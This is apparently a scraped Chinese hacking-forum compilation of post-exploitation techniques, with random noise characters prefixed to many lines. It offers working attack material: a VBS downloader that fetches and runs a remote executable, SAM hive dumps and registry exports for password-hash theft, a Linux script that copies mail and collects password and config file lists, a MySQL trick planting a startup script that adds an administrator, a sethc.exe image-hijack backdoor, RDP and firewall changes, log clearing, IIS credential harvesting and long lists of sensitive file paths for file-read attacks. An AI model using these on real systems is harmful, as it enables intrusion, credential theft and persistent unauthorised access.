* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
2 c$ A9 R( K6 y* [argp@julius ~]$ ./nfs_mount_ex
, O8 H+ o2 }. e5 Q3 B# ?# A% z*
calling nmount()

2 I1 A1 W2 T$ o. b1 M6 [. D# L（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
9 J" c# r' g6 _3 U- E——————————————
, n4 @* V) B! m! H' T% K% f0 ~感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
! C% W2 o9 H; i0 q/ l————————————————————————————
, z/ K# M+ s- C3 z# M: T7 ~& q1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
- l9 Y& q: y" A# l9 z% i& ~{
注：
# W" L( m$ s7 k) |$ ^/ }5 }& A关于tar的打包方式,linux不以扩展名来决定文件类型。
8 a$ `* A1 _! T; T$ q2 N* R' S6 |2 m若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
6 M7 W  D, \6 @) s8 U, F) C! |% }! ^& D那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
# x9 z! [$ U, e7 a
& x# t; m5 D+ `0 _  H& z+ A提权先执行systeminfo
4 d# ~, ]$ N, M+ W/ Q, mtoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
9 P& d6 B9 r( g7 jrar a -k -r -s -m3 c:\1.rar c:\folder
  p+ e4 H' \; |  o& x# f——————————————
- S6 O- i, c1 C+ C0 n2、收集系统信息的脚本  
for window：

@echo off
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
% u7 V& j/ _2 I9 V- anet user guest
3 j3 W6 ]( O( h5 C  m9 Bnet user administrator

echo #######at- with   atq#####
echo schtask /query
9 K+ k, ^0 B4 \1 `0 S: c
6 s$ V( Y& W7 f# qecho
echo ####task-list#############
3 b) x; s2 o$ C) g. C: I, |1 Qtasklist /svc
echo
echo ####net-work infomation
! r4 g8 G6 |% K# v2 Mipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
" Z& R% f, q3 h9 v# S3 Eecho
" w* @, n) V( i# E% U4 n* ]: becho #######service############
+ P1 A; L+ l  l! i* @* vsc query type= service state= all
" A2 ~4 q4 _( M5 B+ `. B) G9 mecho #######file-##############
cd \
5 D; k: J" Q1 d. Y6 ~& m- d, F9 Stree -F
, W" G% J/ r, t# z. ofor linux：

& V9 H8 i. V4 Y, w  W9 @& |#!/bin/bash
( u( x# f" Q1 {0 J0 u# @! Q; Y
echo #######geting sysinfo####
/ l) d+ Z9 S, J" Necho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
( o" C4 w; l/ X* M4 |echo
rpm -qa 2>/dev/null
/ R  N: Q) D9 y. B######stole the mail......######
6 Z0 L" F' t- |- ?* hcp -a /var/mail /tmp/getmail 2>/dev/null
8 a, _& Q2 d& P) U! M
, v% c  @) j9 z
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
# \; I7 I. j: `$ h% D* K9 B' Pset
& U# \& G$ n: X/ R
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
1 I/ R  a: `! Q1 mcat /etc/hosts
hostname
! @8 ?: V! `- S' Aipconfig -a
6 Y' n' d8 ~, G+ y/ Sarp -v
! {+ L6 {0 [" w# x2 y! G) z/ `& hecho ########user####
! ^4 H, ], M3 F6 w) Ucat /etc/passwd|grep -i sh

echo ######service####
5 d; f' }3 F0 m6 S- cchkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
9 q3 g7 E: ]/ d- X* g+ ~cat /etc/passwd|grep -i $i
/ [, B) G. e7 m  m6 q0 N% V+ @3 Ndone

/ c' j$ U# T9 qlocate passwd >/tmp/password 2>/dev/null
- ?/ X  @2 N& B# Xsleep 5
9 M2 `/ K: `, n+ Klocate password >>/tmp/password 2>/dev/null
/ ^! D6 D/ K7 S9 Isleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
' p  ?* [4 [4 O# _) G7 }locate config >>/tmp/sysconfig 2>/dev/null
- \  d# I  I" j' ~0 ^# g1 P- Nsleep 5
7 X% d' S, {( Y# i$ ^+ C
$ g0 ~  W2 ~1 x5 O###maybe can use "tree /"###
5 }. W/ g1 o  P: ?5 {echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
3 Y0 V/ b1 Y$ m- ~0 p/ C——————————————
9 A7 F' u3 }% ^9 ^" r8 [2 I2 D3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
/ Q& I4 m# H% A$ e6 V: L               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
4 O' ]( [2 E) {6 B4 M* i* Z0 g1 q注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
7 M! j; v* N  u0 |接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
5 t  i4 N. @& C- w据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
) U. d% Y9 P5 P; _: Q1 X4 e4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
/ W( z7 [% R8 l! {0 Cecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
) [/ F, o+ N/ P/ T" G6 Vecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
1 x$ \5 P" f" e- W0 yecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
; _4 e7 ]6 C! L1 e7 c
2
. q5 R& k& p2 I1 M* K0 v/ KOn Error Resume Nextim iRemote,iLocal,s1,s2
- W" _) B; M* O- t8 XiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
$ f& f0 B( D/ B0 r* V* xSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
" G2 w& {, k* psGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

' C: K7 p, D' C7 \3 D当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
9 P! ]1 H  h- _0 A# t' _. T, s( d——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
: o, l6 T/ x9 X0 C2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
% ]% U" L  D# v6 G2 C% l( K) yREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
+ B/ u) _3 x% w1 V& n3 M$ p4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
  M$ z( s3 \# u2 K! bREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
- _9 T" ^; [# @1 F————————————————
% P' p5 _0 h/ E& `3 O2 }; E8 W6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
9 e' x8 j  h7 a$ A/ E$ |insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' K7 H5 |0 k& b( j  o8 ?7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
# x% m0 u6 q2 p; K4 H_____
6 d# k! ]- x- _9 t* T" ?8、for /d %i in (d:\freehost\*) do @echo %i
- t8 L" A& n- K- \4 R
6 E5 `. s2 [7 a( ]6 ^! H; k列出d的所有目录
: o9 D2 @. Z2 x/ y3 c7 X3 f  
/ h) Y, q) u7 f. t3 X  for /d %i in (???) do @echo %i
' h* B$ ~+ T* l6 S$ }! t: M' ~2 k
' V; L+ @- l8 Z7 o3 N/ T# k把当前路径下文件夹的名字只有1-3个字母的打出来
# z% Q0 k6 U- P  S/ d6 [( s
2 @+ P/ v% x0 n! K" T" t2.for /r %i in (*.exe) do @echo %i
9 M; y. j( U3 |  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
7 ?& z3 Y# |) [8 O! m4 E/ K
: {4 ^, u% b" ]' Z3.for /f %i in (c:\1.txt) do echo %i
  
/ `# u5 q8 @- h9 O0 @  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

/ u" E* H+ e: S' b' O$ c0 P  delims=后的空格是分隔符 tokens是取第几个位置
- \! H/ ]* h. Y5 _" G2 P——————————
; N& G( I% ?5 I7 O) \% D. S' d% z# s●注册表:
( {* R$ a- n. Y8 F1.Administrator注册表备份:
: R- h. y) H. N2 k# ^+ Jreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
* ^, ~" J. W; }% THKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
4 S4 f- k! w  O5 u
( b  `2 V1 {# I; g8 v/ Y6 ]( _4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
0 A& G9 t/ b6 `5 T( w
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
6 I3 C, v* A4 W4 F: n) I或者
netsh ipsec dynamic set config ipsecexempt value=0
$ Q7 V# \, e' _* h. N
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
& D6 n& l; w* ]2 d; x
& [+ t: j7 S, R% M8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
& v2 z/ G' \  t  ^# jreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

" C6 M7 ]/ A3 p10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

" r# Q" w+ |8 F! X0 Ureg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
4 M- D# ]- X6 b# c6 x7 B4 ?& c2 YSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
& B9 S0 V' h% \7 ~4 }4 \childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
  t+ k4 i1 \- }; |; Lset IIs=objservice.GetObject("IIsWebServer",childObjectName)
/ z5 ~, x8 b9 B& r  r& D: w+ C! bif err.number<>0 then
exit for
) Z- T. v% ?' b3 Cmsgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
- }! }: ], L4 \$ d9 `) i) Aset IISweb=iis.getobject("IIsWebVirtualDir","Root")
  \0 u2 v: `& x2 {; N. k) tuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
4 F1 @' r+ G; ]& P* }, W1 |( @list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
. L+ w1 _" e, ^wscript.echo list
. ?8 Q4 b( p& t! u1 ]Set ObjService=Nothing
3 |/ H3 W; T" ~7 t8 F2 N: ]! swscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
# y3 M# B6 H7 ]* @) y. {4 oWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
: Z, w8 o# a. C- M1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
' r/ f* @$ b; q& y) d将folder.htt文件，加入以下代码：
) @( w( P$ o0 d1 X<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
0 ^5 a2 f8 Q1 V: e: @( i复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
8 a+ o9 h  _1 \& ^7 Q 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
1 ]) u" [" i- m) U& W* v. B8 k url=request.severvariables("path_info")
6 N; h, S; i2 ~8 ^ path_info可以直接呈现虚拟路径 顺利解析gif大马

* S( n1 k  P6 Y  d6 i==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
; l! p. R' p$ Z) g. I1 r4 h/ w/etc/fstab
/ X# z4 ?+ G% m. t0 `/etc/host.conf
& t3 t  X" @) g( X7 E: @  O6 w; P/etc/motd
/etc/ld.so.conf
, W& @$ K* k  q' S! f; Q$ ^  Z/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
( H: v: }2 }. M/var/httpd/htdocs/index.php
4 J) m( T$ B  _' g+ W' T% f) z) ^) p/var/httpd/conf/httpd.conf
  M6 K- M1 r; S0 _( H2 a! o/var/httpd/htdocs/index.html
+ D- w. z* J- `6 c6 _: o: U* }+ t/var/httpd/conf/php.ini
/var/www/index.html
  N6 a" Z% t( e7 X& x1 k+ q6 X2 Z/var/www/index.php
7 K: Y+ d; b. F/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
# I) v$ n6 ]1 a# n$ g* R2 l/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/ ]9 M$ C" h* F; l1 _/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
: T8 Q* G1 y" s. L$ g. F7 l/etc/httpd/htdocs/index.php
! ]/ B# I/ x7 s1 z- U' ^, N/etc/httpd/conf/httpd.conf
' o$ a+ c: ]; _5 u6 M% d/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
1 ~7 J) I8 M1 W3 u% T( o/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
+ c# z7 B. l4 l' Z/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
; [+ M. N( K8 [. m) w5 Z3 \2 y0 t/etc/phpmyadmin/config.inc.php
* y) P' N/ z, J) T1 |. h/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
: `1 P9 k$ n) c" Z5 n/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
" }! t& r4 e$ w7 r; P/etc/httpd/logs/access_log
! @- E- Y. i6 {$ s2 V3 h/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
$ d3 y- u( b4 Z( `8 v/ m; H7 p6 ^/var/log/apache/error_log
/var/log/apache/error.log
" z- n3 l, z; {5 h; K/var/log/apache/access_log
$ Z) F  H# j' j& e! k9 ^/ Y# W/var/log/apache/access.log
/var/log/apache2/error_log
3 y/ z. h5 X) N8 ?! c, A/var/log/apache2/error.log
/var/log/apache2/access_log
' I! w( R" X2 W" k/var/log/apache2/access.log
6 S  s" _3 \! ^. z/var/www/logs/error_log
( M* V; U$ d2 Y! I; S0 y2 b7 g/var/www/logs/error.log
/var/www/logs/access_log
) ~( H/ ?: J5 C4 K2 l/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
$ _) s' s  L* G/usr/local/apache/logs/access_log
) j5 ^8 _1 A2 g" Z4 c/usr/local/apache/logs/access.log
/var/log/error_log
9 G, F5 d: c7 c/ M) U$ V/var/log/error.log
/var/log/access_log
- j2 i6 U; t2 M/var/log/access.log
% Q: q$ f% B7 V, k: z) p( V/usr/local/apache/logs/access_logaccess_log.old
* S0 w6 H! d5 [9 {5 Y4 w/usr/local/apache/logs/error_logerror_log.old
' y# ~4 h- d0 T/etc/php.ini
/bin/php.ini
. S. C! S3 f" L  D: O9 B, ?0 m/etc/init.d/httpd
4 U& O; l. y5 V. u6 A! x/etc/init.d/mysql
0 [) P9 g5 |: v% d/etc/httpd/php.ini
7 F* s1 G2 e2 ?7 M# l# i$ G  q/usr/lib/php.ini
/usr/lib/php/php.ini
2 ]5 ]5 j+ u8 w) a/usr/local/etc/php.ini
/usr/local/lib/php.ini
) f; x# g# X+ U7 _/usr/local/php/lib/php.ini
/ T7 ]7 {% ]( ^: s5 X( {$ y/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
, j; g  D) A" L3 i4 h/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
" s5 l' `# j# Z) ^' M$ _- Z/usr/local/php5/etc/php.ini
' X& w, h+ j" {0 s+ o/usr/local/php5/php5.ini
$ f' F  G6 q! t1 F3 E/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
. @' I9 F  E! k/usr/local/apache2/conf/php.ini
3 M2 [! p& F; c0 m/ I& f1 Z7 x+ w/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
; z" W% `$ P( x$ j4 V# D- Q/etc/php5/apache2/php.ini
/etc/php/php.ini
* m& ?, ^1 K. `! h  J. e/etc/php/php4/php.ini
/etc/php/apache/php.ini
6 k. k) M8 v7 ]. q9 Z6 \. `6 X/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
8 |% [* ^, d; Z2 g/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
3 `: R' O  A3 D7 O5 T. p/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
( z% \1 X6 _# M' a6 D0 `# R/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
6 U3 F) Z/ W2 H! o. Z. D& @( z/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
, ?2 R* F1 D; G/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/ [8 c2 ^- Q! W/var/log/mysql/mysql-bin.log
/var/log/mysql.log
2 U& g9 I3 |- }  c3 a) P" b/ s$ U, r/var/log/mysqlderror.log
  h+ u" [# F3 R/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
: q' `; {4 y. D. |/var/mysql.log
  S4 ~6 E3 p( I1 M2 a4 l! c" K/var/lib/mysql/my.cnf
9 K4 H6 m4 w& e/usr/local/mysql/my.cnf
: m/ q  s( s1 Z# C/usr/local/mysql/bin/mysql
; n( S: V/ `3 ~; E$ @/etc/mysql/my.cnf
1 V6 {  J2 m: r( ~6 j/etc/my.cnf
/ c6 x! e& s, I9 ^. ^' }/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
& L. M# _4 E2 P$ o+ {/usr/local/cpanel/logs/license_log
/ d1 P( T; |9 Y* J1 `1 G) _/usr/local/cpanel/logs/login_log
' S% X+ U  w, l# ~: H) W/ [& ?7 i/usr/local/cpanel/logs/stats_log
- L& z' N; v, ?* i6 f! R$ F/ ^( K/usr/local/share/examples/php4/php.ini
) h; A- b* c% Z) g2 F" z/usr/local/share/examples/php/php.ini

9 l8 v$ n) W1 E: X4 a4 D1 o2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
* d& R* s  M2 `+ c4 a: Y! Z. ]
c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

c:\CMailServer\config.ini
# `) k9 o! H1 i, h: mc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
: D+ f& A6 e7 c, W( C% I! tC:\WinWebMail\SysInfo.ini
5 }9 I& y2 @# F  fC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
) N6 b2 o8 G9 ~5 n5 n0 xC:\WINDOWS\7i24iislog4.exe
2 }3 |% i% P/ @) RC:\WINDOWS\7i24tool.exe
1 S4 _6 r" H5 k# e* u
c:\hzhost\databases\url.asp
* j+ v2 P) S, ?: l1 w" x
( N+ Y1 w$ K8 ]+ cc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
* u5 b+ C) `) O: s* }8 r& W
3 P: I- Y3 |( K# b  oC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
9 X' q) U1 N$ r1 t- E9 ^1 k) Qc:\web\index.html
; l2 h: Y- E' b& z8 V1 h/ J( Kc:\www\index.html
c:\WWWROOT\index.html
* E7 x. l( t! r! ?7 s$ xc:\website\index.html
6 u& j8 S9 e; _; bc:\web\index.asp
4 j* p# h& [9 W+ U& ]4 U( g2 Fc:\www\index.asp
c:\wwwsite\index.asp
* n9 z8 i4 b# d8 Lc:\WWWROOT\index.asp
! Z- M- ]( e9 r7 C1 z3 A' gc:\web\index.php
* {5 m' ?$ n1 A7 Jc:\www\index.php
2 w% t7 {; X, j5 `9 Fc:\WWWROOT\index.php
( z0 ~, O' x. m- _/ C, rc:\WWWsite\index.php
. e) L/ ^7 D: v" V# E; x  Z/ Wc:\web\default.html
5 O/ t, n' r; `! ~. Hc:\www\default.html
0 y* N+ N: ~; {1 K3 B; O6 \; Xc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
) ^" M  |  i  b9 |5 mc:\www\default.asp
c:\wwwsite\default.asp
! S, c/ X" L% e6 q+ Dc:\WWWROOT\default.asp
" s' ]0 ?# [6 f' jc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
/ Y5 a, z& i+ l: J5 ?" lc:\windows\notepad.exe
0 X( ?- p) J, bc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
! m0 D; v) A( PC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
' Q: C$ S. e6 i/ d1 UC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
' V( {" H  \; q; K# o3 e3 gC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
& r* ~5 n" x5 T0 @7 q) UC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
( k' c7 d# a9 }C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
7 C% S: u, T: N# E7 I% I9 eC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
  z3 B8 M, L4 K. xC:\Documents and Settings\Administrator\My Documents\a.txt
( [6 _. B- r; }C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
4 s/ b3 ?& o$ e: G6 u" c' x8 BE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
2 {' o3 B# }- V/ U" \; wC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
8 {$ J6 k8 A* ?$ J! tC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
5 z/ [" l- I0 n; ?7 a4 p4 }C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
( O, ]& [! \5 r) k' j. `C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
, K; b2 t9 t0 t9 v3 G0 ?) g* c# YC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
! d* I0 n0 K( s* [4 |C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
) N4 m! K1 u+ o% m3 y; |! BC:\Program Files\MySQL\MySQL Server 5.0\my.ini
# i9 z6 R# q6 C+ dC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
5 `. p2 k4 y6 v9 V& E! ?$ \C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
6 B3 `4 r, j6 s* p4 DC:\WINDOWS\system32\inetsrv\w3wp.exe
+ |& c' x( m+ V( m2 ZC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
6 R6 N7 r* C# lC:\WINDOWS\system32\config\system
: w9 c: R. S4 T! v. D9 k- S( fc:\CMailServer\config.ini
5 s' s9 [8 _: Dc:\program files\CMailServer\config.ini
3 S4 N# l1 a/ |  l/ Ec:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
" r5 t& V% O9 \c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
: u) p8 O% f& |$ g& v1 P, d  o2 Cc:\Apache2\Apache2\bin\Apache.exe
/ t9 s( G: C) H- {c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
) |( I& R* \2 p5 j/usr/local/tomcat5527/bin/version.sh
9 j8 z4 @9 y. o/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
2 ?' A' z5 s+ k% }c:\Program Files\QQ2007\qq.exe
